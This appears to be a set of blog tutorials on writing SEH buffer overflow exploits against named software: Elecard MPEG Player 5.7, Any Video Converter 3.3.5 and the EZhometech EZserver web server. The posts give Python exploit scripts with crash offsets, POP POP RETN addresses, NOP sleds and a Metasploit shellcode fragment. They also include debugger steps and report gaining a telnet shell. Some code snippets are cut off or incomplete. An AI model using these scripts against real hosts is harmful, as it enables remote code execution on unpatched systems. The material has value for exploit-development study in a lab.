Exploit Elecard MPEG Player v5.7 (SEH Buffer Overflow)

Oke, this time I would to exploit an application namely Elecard MPEG Player

- Make the fuzzer like below  :

#!usr/bin/python
file="crash1.m3u"
head="#EXTM3U\n"
head+="#EXTINF:153,Artist - song\n"
dead="\x41" * 22000
file=open(file,'w')
file.write(head+dead)
print"Succesfully Created File ..."
file.close()

Then run the fuzzer to create the file (*.m3u), afterthat run application with ollydbg

application crashes, Then view SEH chain

press Shift+F9 to bypass to EIP register.

EIP register was overwrite

- Looking for address "Stepping Stone" that contain command POP, POP, RETN. You can look the module first that load by application via Executable Modes, I using D3DIM700.dll because I was test this file using msfpescan to looking for character 0x0400 which could lead to failure of exploit. Step to test the module I have explaines on previous case, so in here I go alone :D

Afterthat search the command POP, POP, RETN on module D3DIM700.dll

Then create a pattern and enter on fuzzer

file=open(file,'w')
file.write(head+dead)
print"Succesfully Created File ..."
file.close()

then open application without ollydbg, afterthat open the file

The result...

Exploit Any Video Converter => Local Exploit (SEH Buffer Overflow)

 

In this time I try to exploit an application Any Video Converter Professional V 3.3.5 via local exploit.

- The first I make a fuzzer like below 

#!usr/bin/python
file="profiles_v2.xml"
dead="\x41" * 2000
poc="<root>\n"
poc=poc + "<categories>\n"
poc=poc + "<category name=\"" + dead + "\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"
poc=poc + "</categories>\n"
poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "Success Creating File" 

Run the fuzzer to make file, and then replace on application directory. Afterthat open application with olly dbg then press Shift+F9 to see the effect

 application crashes, then view SEH chain

Success overwrite SEHandler
The next press Shift+F9 to overwrite EIP

- Second, looking for modules that load by application. In here I found and use DVcapture.dll. Then check the modules using msfpescan

Like the previous case, this step aimed to see if the module that contain value 0x0400 or not in module. Ok, the module can be used for stepping stone.

Then search the command POP, POP, RETN on this module.

We can see, the address not contain character 00,0a,0d.

- Next create a pattern and attach on fuzzer

it be can certained the count is correct

- Next step is controlling CPU process with enter the alamat POP, POP, RETN to fuzzer

the address success controlling SEHandler


- Then generate the payload and attach to fuzzer

Afterthat, open the application without olly dbg

 
 And then press command telnet

Success, alhamdulillah ^^

 

Exploit EZhometech EZserver (SEH Buffer Overflow) Part.2

In this part, I will continue the step and found the solution from the previous case namely failed to telnet because the memory space is small, so the payload failed to landing.
See picture below :

On above showing, size the space memory is 236 byte, while size the shellcode is 344 bytes. Sure not enough to landing the shellcode. Therefore I need using egghunter method.

- Next test the fuzzer.
Before, I want to test the fuzzer is correct or wrong, in here I using shellcode calculator. You can get it from Metasploit. The shellcode like below :

"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x59"

"\x06\xf8\x8c\x72\xd3\x9e\x43\x73\xbe\xf3\x75\xe0\x3a\x90\x14\x8c"

Enter on fuzzer :

#!/usr/bin/python
import socket

connect=sock.connect((ip_address,port))
sock.send('GET /'+buffer+'HTTP/1.1')
print("Sending Fuzzer . . . !")
sock.close(

Open application and then run the fuzzer, see what happen ?

See on above, the shellcode access the windows and running calculator. Mean , our fuzzer and count is correct.

- Afterthat, now is time to using egghunter method

The description of egghunter is :

Exploit EZhometech EZserver (SEH Buffer Overflow)

OK, lets start..

- Before i start exploitation, it's good I looking for about the application and what usefullnes. 
The first, I will analyze the application with installing application and see the content

And then I run the file Ezserver6.exe and the result like below :

On above, the application showing a url contain IP address and port from application
- Before open the url on browser, we must run wireshark and click on AMD PCNE Family... that the application process is captured by wireshark.

- Next, I open the url on browser and type on form user : root password : 1234, I found the user and password from directory the application.

Click on system setting and then appears like below :

- Now Open the Wireshark and see what is captured by wireshark then right-click one of process on above and select tcp stream

Will be showing like below :

On dialog above, we was found a header from application that will entered to fuzzer.

- Make a fuzzer like below :

#!/usr/bin/python
import socket
ip_address="192.168.56.101"
port=8000
buffer="\x41" * 5950 + "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((ip_address, port))
sock.send('GET /'+buffer+'HTTP/1.1')
print("Sending Fuzzer . . . !")
sock.close()

Open application and attach to ollydbg, then run the fuzzer

Application crashes, please view SEH chain, SE Handler was overwrite

now press Shift+F9 and ollydbg will direct to overwritte EIP register

- Now this time to search "stepping stone", namely searching address that store command POP, POP, RETN.
In here I'm found the file that processing by application namely MSVCRTD.dll. Then the next step is copying the file into /tmp on backtrack 5. If done, now do readings Dllcharacteristics using msfpescan

root@bt:/pentest/exploits/framework# ./msfpescan -i /tmp/MSVCRTD.dll | grep SEHandler

same as the previous discussion the command above used to ensure no value 0x0400 on the file.

The next run command lik below :

The result show that MSVCRTD.dll can be used for stepping stone

Now open the application and attach to ollydbg, we will search the address that contain command POP, POP, RETN
View Executable Modules and select MSVCRTD.dll , afterthat right-click => Search For => Sequence of commands then type the command

We was found the command

Succes, the address not contain value \x00, \x0a, \x0d which can lead to failed exploit because the payload
disconnected.

- Next, create pattern as big as 5950 and enter to fuzzer

#!/usr/bin/python
import socket

Attach application on ollydbg and run the fuzzer. then press Shift+F9 to bypass SEH

make a note of the EIP register, then using pattern_offset to searching offset value

root@bt:/pentest/exploits/framework/tools# ./pattern_offset.rb 48316F48

5883

Need 5883byte to trigger SEHandler, now open the fuzzer and change buffer value to 5883

#!/usr/bin/python
import socket
ip_address="192.168.56.101"
port=8000
buffer ="\x41" * 5879 <= 4byte buffer to xcc
buffer+="\xcc\xcc\xcc\xcc"
buffer+="\x41\x41\x41\x41"
buffer+="\x90" * (5954 - len(buffer)) <= NOPSLED as big as 5954
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((ip_address, port))
sock.send('GET /'+buffer+'HTTP/1.1')
print("Sending Fuzzer . . . !")
sock.close()

Restart application and attach on ollydbg then run the fuzzer

\x41 succed entry to SEH handler, mean calculating is correct

- The next step is controlling CPU process

Enter offset address from MSVCRTD.dll that contain command POP,POP, RETN into fuzzer

#!/usr/bin/python

import socket

ip_address="192.168.56.101"

port=8000

buffer ="\x41" * 5879

buffer+="\xcc\xcc\xcc\xcc"

buffer+="\x96\x96\x20\x10"

buffer+="\x90" * (5954 - len(buffer))

buffer+="\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((ip_address, port))

sock.send('GET /'+buffer+'HTTP/1.1')

print("Sending Fuzzer . . . !")

sock.close()

Before running the fuzzer, you must activate breakpoint on SEH memory address to ensure whether the exploit are created was direct to correct address. Afterthat restart the application then activate breakpoint on 10209696 address and run the fuzzer

Then press Shift+F9 to send process into stack

In here I found a problem, namely memory space exisitng only 4 byte, and 4 byte not enough to saving shellcode, Need other process to moving location to address that have a memory space more than big. To searching the memory space right-click on address 0243FEFD => Follow In Dump => Selection.

We can see on above, in under address xCC there is free space memory start in 0243FEFD.

- Then make a shellcode
To easy process, I using Metasploit..

Generate payload :

Then enter on fuzzer :

Restart application and attach in ollydbg then run the fuzzer. application crashes, view SEH chain

Yes thats true, the fuzzer success direct to address MSVCRTD.dll

- Now open application but without ollydbg and then run the fuzzer, application crashes and disappears from the screen,  afterthat type telnet to direct to windows

Upss.. it failed, why ?? after I learned, telnet failed because the space memory smaller, so the payload not be able to landing. What solution ? I use egghunter, what is egghunter ? you can see the explanation of hunter on in here or here.
